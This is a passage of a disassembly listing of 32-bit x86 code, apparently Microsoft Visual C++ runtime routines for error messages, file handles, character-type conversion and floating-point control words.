		cmp	eax, 1
		jz	loc_41D043
		test	eax, eax
		jnz	short loc_41CF6C
		cmp	dword_437D64, 1
		jz	loc_41D043


loc_41CF6C:				; CODE XREF: sub_41CF19+44j
		cmp	edx, 0FCh
		jz	loc_41D069
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_42107C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41CFA3
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx


loc_41CFA3:				; CODE XREF: sub_41CF19+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415CF0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41CFE6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415CF0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416D40
		add	esp, 10h


loc_41CFE6:				; CODE XREF: sub_41CF19+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415C00
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_A0]
		push	offset asc_421B40 ; "\n\n"
		push	eax
		call	sub_415C10
		push	off_4383DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415C10
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41E6EE
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D069
; ---------------------------------------------------------------------------


loc_41D043:				; CODE XREF: sub_41CF19+3Cj
					; sub_41CF19+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4383DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415CF0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_421034	; GetStdHandle
		push	eax
		call	dword_421070	; WriteFile


loc_41D069:				; CODE XREF: sub_41CF19+2Ej
					; sub_41CF19+59j ...
		pop	esi
		leave
		retn
sub_41CF19	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D06C	proc near		; CODE XREF: sub_417C37+6Cp
					; sub_41B8B0+32p ...

arg_0		= dword	ptr  4

		inc	dword_469654
		push	1000h
		call	sub_415DC9
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D095
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D0A6
; ---------------------------------------------------------------------------


loc_41D095:				; CODE XREF: sub_41D06C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41D0A6:				; CODE XREF: sub_41D06C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D06C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B0	proc near		; CODE XREF: sub_417C37+61p
					; sub_4187B6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8C0
		jb	short loc_41D0BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D0BF:				; CODE XREF: sub_41D0B0+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D0B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0D6	proc near		; DATA XREF: .nsp0:00423020o
		mov	eax, dword_46A7A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D0EA
		mov	eax, 200h
		jmp	short loc_41D0F0
; ---------------------------------------------------------------------------


loc_41D0EA:				; CODE XREF: sub_41D0D6+Bj
		cmp	eax, esi
		jge	short loc_41D0F5
		mov	eax, esi


loc_41D0F0:				; CODE XREF: sub_41D0D6+12j
		mov	dword_46A7A0, eax


loc_41D0F5:				; CODE XREF: sub_41D0D6+16j
		push	4
		push	eax
		call	sub_41E777
		pop	ecx
		mov	dword_469780, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D129
		push	4
		push	esi
		mov	dword_46A7A0, esi
		call	sub_41E777
		pop	ecx
		mov	dword_469780, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D129
		push	1Ah
		call	sub_417BEE
		pop	ecx


loc_41D129:				; CODE XREF: sub_41D0D6+30j
					; sub_41D0D6+49j
		xor	ecx, ecx
		mov	eax, offset off_438468


loc_41D130:				; CODE XREF: sub_41D0D6+6Ej
		mov	edx, dword_469780
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_4386E8
		jl	short loc_41D130
		xor	edx, edx
		mov	ecx, offset dword_438478


loc_41D14D:				; CODE XREF: sub_41D0D6+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_46A7C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D16A
		test	eax, eax
		jnz	short loc_41D16D


loc_41D16A:				; CODE XREF: sub_41D0D6+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41D16D:				; CODE XREF: sub_41D0D6+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4384D8
		jl	short loc_41D14D
		pop	esi
		retn
sub_41D0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D17B	proc near		; DATA XREF: .nsp0:00423030o

; FUNCTION CHUNK AT 0041E7F4 SIZE 00000058 BYTES

		call	sub_418740
		cmp	byte_4694D4, 0
		jz	short locret_41D18E
		jmp	loc_41E7F4
; ---------------------------------------------------------------------------

locret_41D18E:				; CODE XREF: sub_41D17B+Cj
		retn
sub_41D17B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D18F	proc near		; CODE XREF: sub_417D4C+2D4p
					; sub_417D4C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41D19B
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D19B:				; CODE XREF: sub_41D18F+8j
		cmp	dword_469528, 0
		jnz	short loc_41D1B6
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41D1E8
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D1B6:				; CODE XREF: sub_41D18F+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_437F7C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_469538
		call	dword_421138	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41D1E8
		cmp	[ebp+arg_0], 0
		jz	short loc_41D1F5


loc_41D1E8:				; CODE XREF: sub_41D18F+1Ej
					; sub_41D18F+51j
		mov	dword_469494, 2Ah
		or	eax, 0FFFFFFFFh


loc_41D1F5:				; CODE XREF: sub_41D18F+57j
		pop	ebp
		retn
sub_41D18F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1F7	proc near		; CODE XREF: sub_418556+5Ep
					; sub_41C1FF+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421B80
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_469658
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41D266
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_421870
		push	esi
		call	dword_421028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41D244
		mov	eax, esi
		jmp	short loc_41D261
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D1F7+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_438FD4
		push	esi
		push	ebx
		call	dword_42102C	; GetStringTypeA
		test	eax, eax
		jz	loc_41D32C
		push	2
		pop	eax


loc_41D261:				; CODE XREF: sub_41D1F7+4Bj
		mov	dword_469658, eax


loc_41D266:				; CODE XREF: sub_41D1F7+2Fj
		cmp	eax, 2
		jnz	short loc_41D28F
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41D277
		mov	eax, dword_469528


loc_41D277:				; CODE XREF: sub_41D1F7+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_42102C	; GetStringTypeA
		jmp	loc_41D32E
; ---------------------------------------------------------------------------


loc_41D28F:				; CODE XREF: sub_41D1F7+72j
		cmp	eax, 1
		jnz	loc_41D32C
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41D2A5
		mov	eax, dword_469538
		mov	[ebp+arg_10], eax


loc_41D2A5:				; CODE XREF: sub_41D1F7+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_421064	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41D32C
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415570
		add	esp, 0Ch
		jmp	short loc_41D2FB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41D2FB:				; CODE XREF: sub_41D1F7+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41D32C
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_421064	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41D32C
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_421028	; GetStringTypeW
		jmp	short loc_41D32E
; ---------------------------------------------------------------------------


loc_41D32C:				; CODE XREF: sub_41D1F7+61j
					; sub_41D1F7+9Bj ...
		xor	eax, eax


loc_41D32E:				; CODE XREF: sub_41D1F7+93j
					; sub_41D1F7+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D1F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D340	proc near		; CODE XREF: sub_41D55A:loc_41D6D2p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_46A7C0


loc_41D34F:				; CODE XREF: sub_41D340+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41D38C
		lea	edx, [eax+100h]


loc_41D35B:				; CODE XREF: sub_41D340+28j
		cmp	eax, edx
		jnb	short loc_41D37B
		test	byte ptr [eax+4], 1
		jz	short loc_41D36A
		add	eax, 8
		jmp	short loc_41D35B
; ---------------------------------------------------------------------------


loc_41D36A:				; CODE XREF: sub_41D340+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41D3CF


loc_41D37B:				; CODE XREF: sub_41D340+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_46A8C0
		jl	short loc_41D34F
		jmp	short loc_41D3CF
; ---------------------------------------------------------------------------


loc_41D38C:				; CODE XREF: sub_41D340+13j
		mov	esi, 100h
		push	esi
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		jz	short loc_41D3CF
		add	dword_46A8C0, 20h
		lea	ecx, ds:46A7C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41D3B2:				; CODE XREF: sub_41D340+88j
		cmp	eax, edx
		jnb	short loc_41D3CA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41D3B2
; ---------------------------------------------------------------------------


loc_41D3CA:				; CODE XREF: sub_41D340+74j
		shl	edi, 5
		mov	ebx, edi


loc_41D3CF:				; CODE XREF: sub_41D340+39j
					; sub_41D340+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3D5	proc near		; CODE XREF: sub_41D55A+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46A8C0
		push	edi
		jnb	short loc_41D435
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41D435
		cmp	dword_437D64, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41D42B
		sub	eax, 0
		jz	short loc_41D422
		dec	eax
		jz	short loc_41D41D
		dec	eax
		jnz	short loc_41D42B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41D425
; ---------------------------------------------------------------------------


loc_41D41D:				; CODE XREF: sub_41D3D5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41D425
; ---------------------------------------------------------------------------


loc_41D422:				; CODE XREF: sub_41D3D5+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41D425:				; CODE XREF: sub_41D3D5+46j
					; sub_41D3D5+4Bj
		call	dword_421024	; SetStdHandle


loc_41D42B:				; CODE XREF: sub_41D3D5+36j
					; sub_41D3D5+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41D449
; ---------------------------------------------------------------------------


loc_41D435:				; CODE XREF: sub_41D3D5+Cj
					; sub_41D3D5+28j
		and	dword_469498, 0
		mov	dword_469494, 9
		or	eax, 0FFFFFFFFh


loc_41D449:				; CODE XREF: sub_41D3D5+5Ej
		pop	edi
		pop	esi
		retn
sub_41D3D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D44C	proc near		; CODE XREF: sub_4185CB+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_46A8C0
		push	edi
		jnb	short loc_41D4AF
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:46A7C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41D4AF
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41D4AF
		cmp	dword_437D64, 1
		jnz	short loc_41D4A5
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41D49C
		dec	ecx
		jz	short loc_41D497
		dec	ecx
		jnz	short loc_41D4A5
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------


loc_41D497:				; CODE XREF: sub_41D44C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------


loc_41D49C:				; CODE XREF: sub_41D44C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41D49F:				; CODE XREF: sub_41D44C+49j
					; sub_41D44C+4Ej
		call	dword_421024	; SetStdHandle


loc_41D4A5:				; CODE XREF: sub_41D44C+38j
					; sub_41D44C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41D4C3
; ---------------------------------------------------------------------------


loc_41D4AF:				; CODE XREF: sub_41D44C+Cj
					; sub_41D44C+2Aj ...
		and	dword_469498, 0
		mov	dword_469494, 9
		or	eax, 0FFFFFFFFh


loc_41D4C3:				; CODE XREF: sub_41D44C+61j
		pop	edi
		pop	esi
		retn
sub_41D44C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4C6	proc near		; CODE XREF: sub_4185CB+32p
					; sub_4185CB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8C0
		jnb	short loc_41D4EE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41D4EE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41D4EE:				; CODE XREF: sub_41D4C6+Aj
					; sub_41D4C6+23j
		and	dword_469498, 0
		mov	dword_469494, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41D4C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D503	proc near		; CODE XREF: sub_4186A9+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46A8C0
		jnb	short loc_41D54C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_46A7C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41D54C
		push	eax
		call	sub_41D4C6
		pop	ecx
		push	eax
		call	dword_421020	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41D541
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41D543
; ---------------------------------------------------------------------------


loc_41D541:				; CODE XREF: sub_41D503+34j
		xor	eax, eax


loc_41D543:				; CODE XREF: sub_41D503+3Cj
		test	eax, eax
		jz	short locret_41D559
		mov	dword_469498, eax


loc_41D54C:				; CODE XREF: sub_41D503+Aj
					; sub_41D503+22j
		mov	dword_469494, 9
		or	eax, 0FFFFFFFFh

locret_41D559:				; CODE XREF: sub_41D503+42j
		retn
sub_41D503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D55A	proc near		; CODE XREF: sub_418880+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41D580
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41D58B
; ---------------------------------------------------------------------------


loc_41D580:				; CODE XREF: sub_41D55A+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41D58B:				; CODE XREF: sub_41D55A+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41D5A5
		test	ch, 40h
		jnz	short loc_41D5A1
		cmp	dword_469760, eax
		jz	short loc_41D5A5


loc_41D5A1:				; CODE XREF: sub_41D55A+3Dj
		or	[ebp+var_1], 80h


loc_41D5A5:				; CODE XREF: sub_41D55A+38j
					; sub_41D55A+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41D5DD
		dec	eax
		jz	short loc_41D5D4
		dec	eax
		jz	short loc_41D5CB


loc_41D5B6:				; CODE XREF: sub_41D55A+9Fj
					; sub_41D55A+E8j ...
		mov	dword_469494, 16h
		mov	dword_469498, ebx
		jmp	loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D5CB:				; CODE XREF: sub_41D55A+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41D5E4
; ---------------------------------------------------------------------------


loc_41D5D4:				; CODE XREF: sub_41D55A+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41D5E4
; ---------------------------------------------------------------------------


loc_41D5DD:				; CODE XREF: sub_41D55A+54j
		mov	[ebp+var_C], 80000000h


loc_41D5E4:				; CODE XREF: sub_41D55A+78j
					; sub_41D55A+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41D612
		cmp	eax, 20h
		jz	short loc_41D609
		cmp	eax, 30h
		jz	short loc_41D600
		cmp	eax, 40h
		jnz	short loc_41D5B6
		mov	[ebp+var_10], esi
		jmp	short loc_41D615
; ---------------------------------------------------------------------------


loc_41D600:				; CODE XREF: sub_41D55A+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41D615
; ---------------------------------------------------------------------------


loc_41D609:				; CODE XREF: sub_41D55A+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41D615
; ---------------------------------------------------------------------------


loc_41D612:				; CODE XREF: sub_41D55A+90j
		mov	[ebp+var_10], ebx


loc_41D615:				; CODE XREF: sub_41D55A+A4j
					; sub_41D55A+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41D65F
		jz	short loc_41D65A
		cmp	ecx, ebx
		jz	short loc_41D65A
		cmp	ecx, edi
		jz	short loc_41D651
		cmp	ecx, 200h
		jz	short loc_41D678
		cmp	ecx, 300h
		jnz	loc_41D5B6
		mov	[ebp+var_8], 2
		jmp	short loc_41D688
; ---------------------------------------------------------------------------


loc_41D651:				; CODE XREF: sub_41D55A+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41D688
; ---------------------------------------------------------------------------


loc_41D65A:				; CODE XREF: sub_41D55A+D0j
					; sub_41D55A+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41D688
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D55A+CEj
		cmp	ecx, 500h
		jz	short loc_41D681
		cmp	ecx, 600h
		jz	short loc_41D678
		cmp	ecx, edx
		jz	short loc_41D681
		jmp	loc_41D5B6
; ---------------------------------------------------------------------------


loc_41D678:				; CODE XREF: sub_41D55A+E0j
					; sub_41D55A+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41D688
; ---------------------------------------------------------------------------


loc_41D681:				; CODE XREF: sub_41D55A+10Bj
					; sub_41D55A+117j
		mov	[ebp+var_8], 1


loc_41D688:				; CODE XREF: sub_41D55A+F5j
					; sub_41D55A+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41D6A7
		mov	ecx, dword_46949C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41D6A7
		push	1
		pop	esi


loc_41D6A7:				; CODE XREF: sub_41D55A+138j
					; sub_41D55A+148j
		test	al, 40h
		jz	short loc_41D6B5
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41D6B5:				; CODE XREF: sub_41D55A+14Fj
		test	ah, 10h
		jz	short loc_41D6BC
		or	esi, edi


loc_41D6BC:				; CODE XREF: sub_41D55A+15Ej
		test	al, 20h
		jz	short loc_41D6C8
		or	esi, 8000000h
		jmp	short loc_41D6D2
; ---------------------------------------------------------------------------


loc_41D6C8:				; CODE XREF: sub_41D55A+164j
		test	al, 10h
		jz	short loc_41D6D2
		or	esi, 10000000h


loc_41D6D2:				; CODE XREF: sub_41D55A+16Cj
					; sub_41D55A+170j
		call	sub_41D340
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41D6F3
		and	dword_469498, 0
		mov	dword_469494, 18h
		jmp	short loc_41D731
; ---------------------------------------------------------------------------


loc_41D6F3:				; CODE XREF: sub_41D55A+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41D724
		push	esi
		call	dword_421030	; GetFileType
		test	eax, eax
		jnz	short loc_41D738
		push	esi
		call	dword_42106C	; CloseHandle


loc_41D724:				; CODE XREF: sub_41D55A+1B6j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41C5D7
		pop	ecx


loc_41D731:				; CODE XREF: sub_41D55A+197j
		mov	eax, edi
		jmp	loc_41D80E
; ---------------------------------------------------------------------------


loc_41D738:				; CODE XREF: sub_41D55A+1C1j
		cmp	eax, 2
		jnz	short loc_41D743
		or	[ebp+var_1], 40h
		jmp	short loc_41D74C
; ---------------------------------------------------------------------------


loc_41D743:				; CODE XREF: sub_41D55A+1E1j
		cmp	eax, 3
		jnz	short loc_41D74C
		or	[ebp+var_1], 8


loc_41D74C:				; CODE XREF: sub_41D55A+1E7j
					; sub_41D55A+1ECj
		push	esi
		push	ebx
		call	sub_41D3D5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:46A7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41D7F5
		test	al, 80h
		jz	short loc_41D7F5
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41D7F5
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41D7AA
		cmp	dword_469498, 83h
		jz	short loc_41D7F5
		jmp	short loc_41D7E9
; ---------------------------------------------------------------------------


loc_41D7AA:				; CODE XREF: sub_41D55A+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41B989
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D7D7
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41D7D7
		push	[ebp+var_10]
		push	ebx
		call	sub_41E84C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D7E9


loc_41D7D7:				; CODE XREF: sub_41D55A+265j
					; sub_41D55A+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D7F5


loc_41D7E9:				; CODE XREF: sub_41D55A+24Ej
					; sub_41D55A+27Bj
		push	ebx
		call	sub_4185CB
		pop	ecx


loc_41D7F0:				; CODE XREF: sub_41D55A+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D80E
; ---------------------------------------------------------------------------


loc_41D7F5:				; CODE XREF: sub_41D55A+221j
					; sub_41D55A+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41D80C
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41D80C
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41D80C:				; CODE XREF: sub_41D55A+29Fj
					; sub_41D55A+2A5j
		mov	eax, ebx


loc_41D80E:				; CODE XREF: sub_41D55A+1D9j
					; sub_41D55A+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D55A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D813	proc near		; CODE XREF: sub_419BB3+52p
		xor	eax, eax
		retn
sub_41D813	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D816	proc near		; CODE XREF: sub_41D84B+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41D861
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41D8F3
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41D816	endp


; =============== S U B	R O U T	I N E =======================================



